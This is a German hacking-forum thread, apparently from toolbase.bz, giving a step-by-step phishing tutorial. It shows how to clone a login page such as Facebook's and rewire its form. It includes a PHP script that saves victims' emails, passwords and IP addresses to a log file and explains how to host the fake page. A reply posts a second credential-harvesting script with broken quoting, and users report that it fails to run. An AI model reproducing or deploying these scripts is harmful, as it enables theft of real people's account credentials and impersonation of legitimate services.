Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[TUT] Phishing Tutorial by PaulaAbdul #1

- - - - -

  • Bitte melde dich an um zu Antworten
5 Antworten in diesem Thema

#1
PaulaAbdul

PaulaAbdul

    Favoured Management

  • Administration
  • Likes
    3717
  • 2157 Beiträge
  • 3706 Bedankt
  • 1337-699
  • verifiziert
  • Android [root]
  • Windows, Linux

[TUT] Phishing Tutorial by PaulaAbdul


#1 Erstellung einer Phishing Seite


1. Einleitung

Willkommen zum Phishing Tutorial by Paula Abdul. Ich habe dieses Tutorial erstellt,
da es bisher scheinbar kein vergleichbares gibt, welches das Thema ausführlich
behandelt und verständlich erklärt. Die ständigen Fragen, wie eine Phishingseite
erstellt wird, sollten hiermit ein Ende haben.

2. Phishing Seite wählen

Damit die Erstellung einer Phishing Seite unproblematisch und ohne viel Aufwand
möglich ist sollte eine Website gewählt werden, dessen Login Seite sich vollständig
in HTML darstellen lässt. Um das zu testen besuchen wir die Login Seite die wir
kopieren möchten und speichern sie mit einem Browser vollständig (inkl. Bilder etc.)
ab (In Firefox: Menü > Seite speichern unter... > Webseite komplett). Zusätzlich zur
.html-Datei wird somit ein Unterordner erstellt in dem sich die Grafiken befinden.
Dieser Ordner darf nicht umbenannt werden. Wir öffnen nun die gespeicherte Seite
mit dem Webbrowser um zu sehen ob sie ohne Fehler dargestellt wird.

3. Phishing Seite erstellen

Wir öffnen nun die abgespeicherte .html-Seite mit einem Editor (vorzugsweise
Notepad++ oder EditPlus) und drücken Strg+F. In die Suche geben wir jetzt <form
ein. Wir sollten nun das Formular mit den Login-Feldern finden, z.B.:

<form id="login" method="post" action="login.php"  ...

Wenn bei method= ein "get" angegeben ist, muss dieses zu "post" geändert werden.
Hinter action= muss "login.php" angegeben werden.

Nun suchen wir mit <input nach dem ersten Eingabefeld für den Benutzernamen oder
der Emailadresse, z.B.:

<input id="user" name="username" ...

Die ID des inputs kopieren wir nun und fügen sie irgendwo ein wo wir sie wieder finden
(in unserem Fall lautet die ID user). Das selbe machen wir nun mit dem Eingabefeld für das
Passwort, welches sich ebenfalls mit <input finden lässt.

4. Funktion einfügen

Damit die Logindaten, die vom Vic eingegeben werden, auch abgespeichert werden,
erstellen wir nun eine neue Datei login.php und bearbeiten diese ebenfalls mit dem
Editor.

Folgende Vorlage könnt ihr nun einfügen:

<?php
$go = fopen("logs","a+");
$timestamp = time();
$datum = date("d.m.Y - H:i:s", $timestamp);
$mail = $_POST["email"];
$pass = $_POST["pass"];
$ip = $_SERVER['REMOTE_ADDR'];
fwrite($go, "Hoster: Facebookn");
fwrite($go, "Datum: " . "$datum n");
fwrite($go, "E-Mail: " . "$mail n");
fwrite($go, "Password: " . "$pass n");
fwrite($go, "Ip: " . "$ip n");
fwrite($go, " n");
fclose($go);
header('Location: success.html');
?>


Die beiden farbig makierten Begriffe tauscht ihr gegen die zuvor kopierten IDs der
Eingabefelder aus. In unserem Fall müssten wir also email mit user ersetzen. Den
Eintrag Facebook ersetzt ihr mit dem Namen der Website damit ihr wisst um was
für einen Login es sich handelt. Auf die Seite sucess.html wird nach dem Login
weitergeleitet. Deshalb tragen wir dort am besten die URL der originalen Seite ein
die erscheint, wenn man falsche Logindaten eingegeben hat.

Nun speichern wir die Seite ab.

5. Verfügbarkeit einrichten

Wir benötigen nun einen Webspace um die Seite online verfügbar zu machen.
Kostenlose Webspace Anbieter gibt es wie Sand am Meer, allerdings sind diese
meist nicht kicksicher und es muss davon ausgegangen werden, dass der Account
relativ schnell gesperrt wird. Wenn wir den Webspace eingerichtet haben laden
wir alle Dateien, also die mit dem Browser abgespeicherte Login Seite inkl. dem
Ordner mit den Grafiken, und die login.php per FTP hoch (Ein guter FTP Client ist
Filezilla).

Nun fehlt noch die Datei, in der die Logindaten des Vics abgespeichert werden sollen.
Wir haben den Namen dafür bereits in der login.php festgelegt. Wir erstellen also noch
eine Datei mit dem Namen logs ohne Dateiendung und laden diese ebenfalls hoch.
Diese Datei benötigt schreibrechte:
(In Filezilla: Rechtsklick auf die Datei > Dateiberechtigungen > 777 eingeben)

Nun nennen wir die Hauptseite noch in index.html um und können diese nun im Browser
aufrufen und testen. Die Logindaten sollten nach dem Test also in der Datei logs gespeichert
sein.


In den nächsten Teilen erkläre ich, wie ihr eine vernünftige, unauffällige Domain einrichtet,
gebe Tipps und Infos wie sich das ganze optimieren lässt, und zeige euch wie Ihr auch eine
Login Seite erstellen könnt, die sich nicht ausschlie??lich in HTML darstellen lässt.

mfg, PaulaAbdul


  • adn1337, z3022z, Babo187 und 3 anderen gefällt das

401a3d5869.jpg

 

,,Der blaue Baum" von Prohex (2020)


Thanked by 2 Members:
python_snippet , xsasuke16x

#2
Integer

Integer

    Noob

  • Members
  • PIPPIP
  • Likes
    2
  • 3 Beiträge
  • 0 Bedankt
Ich habe etwas zu bemängeln, wenn wir schon etwas "phishen", wieso loggen wir die IP Adresse und wieso machen wir das mit $_POST Methoden, einzeln - wieso keine einfache foreach-Schleife um alle geposteten Daten zu speichern auch wenn davon 1/3 möglicherwei??e Dreck sein könnte?
Und wenn das schon für die kleinen Phishernoobs geschrieben ist, dann mach das auch noobtauglich :'D

Dieses Tutorial wurde 1OO % von mir Integer zum ersten mal hier in toolbase.bz veröffentlicht. Ich erlaube euch die freie Nutzung sowie die freie Bearbeitung des Scriptes. Viel Spa??! :D

<?php
/*
Konfiguration
*/
$url = "https://www.facebook.com/login.php?login_attempt=0";
/* 0 = aus // deaktiviert || 1 = an // aktiviert */
$ip = "1";
$date = "0";
$referer = "0";

/* *** BITTE NICHTS ?„NDERN (falls keine Kenntnisse von PHP - Kommentare vorhanden) *** */
if (empty($_SERVER['HTTP_REFERER'])) {
/* hier checken wir ob es keinen Referer gibt, wenn es tatsächlich keinen geben sollte, stellen wir die Funktion auf 0 */
$referer = "0";
}
header("Location: " . $url ."); /* wir leiten direkt mit der Headerfunktion an die angegebene URL weiter */
$handle = fopen("passwords.txt", "a"); /* wir öffnen via fopen die Datei passwords.txt, falls Sie nicht existiert wird Sie angelegt */
foreach($_POST as $variable => $value) { /* das ist eine Schleife, die alle abgesendeten Daten (also keine bestimmten) mitloggt. */
fwrite($handle, $variable);
fwrite($handle, " = ");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn"); /* Abstand bsw. eine Alternative zu <br> in PHP */
/* wir nutzen die Funktion switch (if ist auch möglich) falls die Funktion aktiviert ist bsw. die Variable auf 1 ist und somit aktiviert schreiben wir in die Datei erin */
switch ($ip) {
case 1:
fwrite($handle, "IP Adresse = ". $_SERVER['REMOTE_ADDR'] .");
/* z.B. hier wird die IP rein geschrieben <--> bsw. hier schreiben wir wie oben schon beschrieben die IP rein */
break;
}
switch ($date) {
case 1:
fwrite($handle, "Datum = ". date('d.m.Y - H:i:s', time()) .");
break;
}
switch ($referer) {
case 1:
fwrite($handle, "Referer = ". $_SERVER['HTTP_REFERER'] .");
break;
}
fclose($handle);
/* schlie??en die Datei und schlie??en die Weiterleitung */
exit;
?>

Bearbeitet von Integer, 14 May 2013 - 20:03 Uhr.

  • _)_ und Becks gefällt das

#3
Avni

Avni

    1337

  • Elite Member
  • Likes
    86
  • 401 Beiträge
  • 142 Bedankt
Hab nun das von Integer mal versucht... Hab nicht viel Ahnung von PHP aber hab das alles mal kopiert und als *.php gespeichert... Auf Webspace gepackt und wenn ich es nun öffnen will bekomm ich folgende Meldung "Parse error: syntax error, unexpected 'passwords' (T_STRING) in www/FB/Moep.php on line 17"

#4
paulaner

paulaner

    Hacker

  • Premium Member
  • Likes
    50
  • 182 Beiträge
  • 13 Bedankt
evtl. muss die datei password.txt schon existieren.

#5
Avni

Avni

    1337

  • Elite Member
  • Likes
    86
  • 401 Beiträge
  • 142 Bedankt
nope hab ich auch gedacht und gemacht kommt trozdem

#6
w0tan

w0tan

    Noob

  • Premium Member
  • Likes
    4
  • 11 Beiträge
  • 0 Bedankt
  • Spender
  • Android, Android [root], iPhone
  • Windows, Linux

In den nächsten Teilen erkläre ich, wie ihr eine vernünftige, unauffällige Domain einrichtet,
gebe Tipps und Infos wie sich das ganze optimieren lässt, und zeige euch wie Ihr auch eine
Login Seite erstellen könnt, die sich nicht ausschlie??lich in HTML darstellen lässt.

mfg, PaulaAbdul

 

Bis jetzt sind 4 Jahre vergangen.

Als Alternative, falls jemand nicht ausführlich aufgeklärt wurde wegen dem Tutorial.

 

-

-


  • python_snippet gefällt das



  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 175 user(s)


    13fuckthepolice12, 2sim, 3even, 4cyberbase, aaaaaa, Ac4nth, acidvirus23, ADOL, alcapwn, altländer, baba1337, Babo187, Bad Grandpa, Banger109, Beathoveen, bebekid32, BigLoser, Billy Kalender, BlackDante, Blackrock, Boneau, bones, brilla, Broly1, brow19, buffer-overflow, Bypass, c3rberus, Caruso, Coasist, cooky1, corkscrew, Crap, craq, DarKdb, DarkICE, Darkxor, Dean36, decent, dep0x, dervonheute, desmond, Devilhex0r, devindo, dny, drpepper11, dts1, eckhau, elmicky, Emalik Xantier, EncepT, eskalation, exelon, FalkE, Flex.Net, Framerater, Franziskaner, Freshpolak, Fylgien, GauloisesBlondes, Georgiana, GeraxY, Gimpos, gr3yyy, gravel, h04x, h4ck3rboon, hackEmcee, hacking123, Hansiberg, hardstyle1983, Heinokel0903, iLiiX, indir1, Irhabi, Iron, ItsDezzen, jabba, JackTheRapper, Jeahhhh, jens3911, jmPesp, Juri, Kaase, katemosh, King of America, kingcrackzzz, kingkev0, kiwitone, kleinkriminell, knips, Kraenk, L0KK0, laisoo92, likeavirgin, lowbob, Lykaner112, m0nk3y, m23, macinchris, Manox, MarkusxX, Marvv1488, Maximalx3, mewue, Mini Rick, Minimax, miss_sophie_k, Miyaca, montana54, MS1337, muLTiii, mxtrn, nibble nibble, notfound, opheus, oreagel, p0rn0ralle, Pamuk, pappa, PaulaAbdul, Pfiff76, Psykoon303, python_snippet, Querox, raakil, Red Hat, Rothschild, RudolfAntal, Rushkiller1000, Russak327, sabotageuser, scrappy, seiko, shok0, Silent0wn3r, Sinatra100, Sirmike, Slavio69, smc2014, Smn, Spreadtheworld, Stalin, Stanley, stoneserv, sub0, subsubsub, summerdee, summo, Sunpoint12, Terrafaux, terratec1991, thalia43, the.3nd, TheGentleman, Thehidden, Toolbase, tourett, v3571g, verzweifelt, w0tan, Wizkalifa, worker, X-Zero, x1z0ng, Xenos88, xlF1N4L, xsasuke16x, xsyst, xxas, xxxsmackxxx, y30629862, z91, zepsus, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.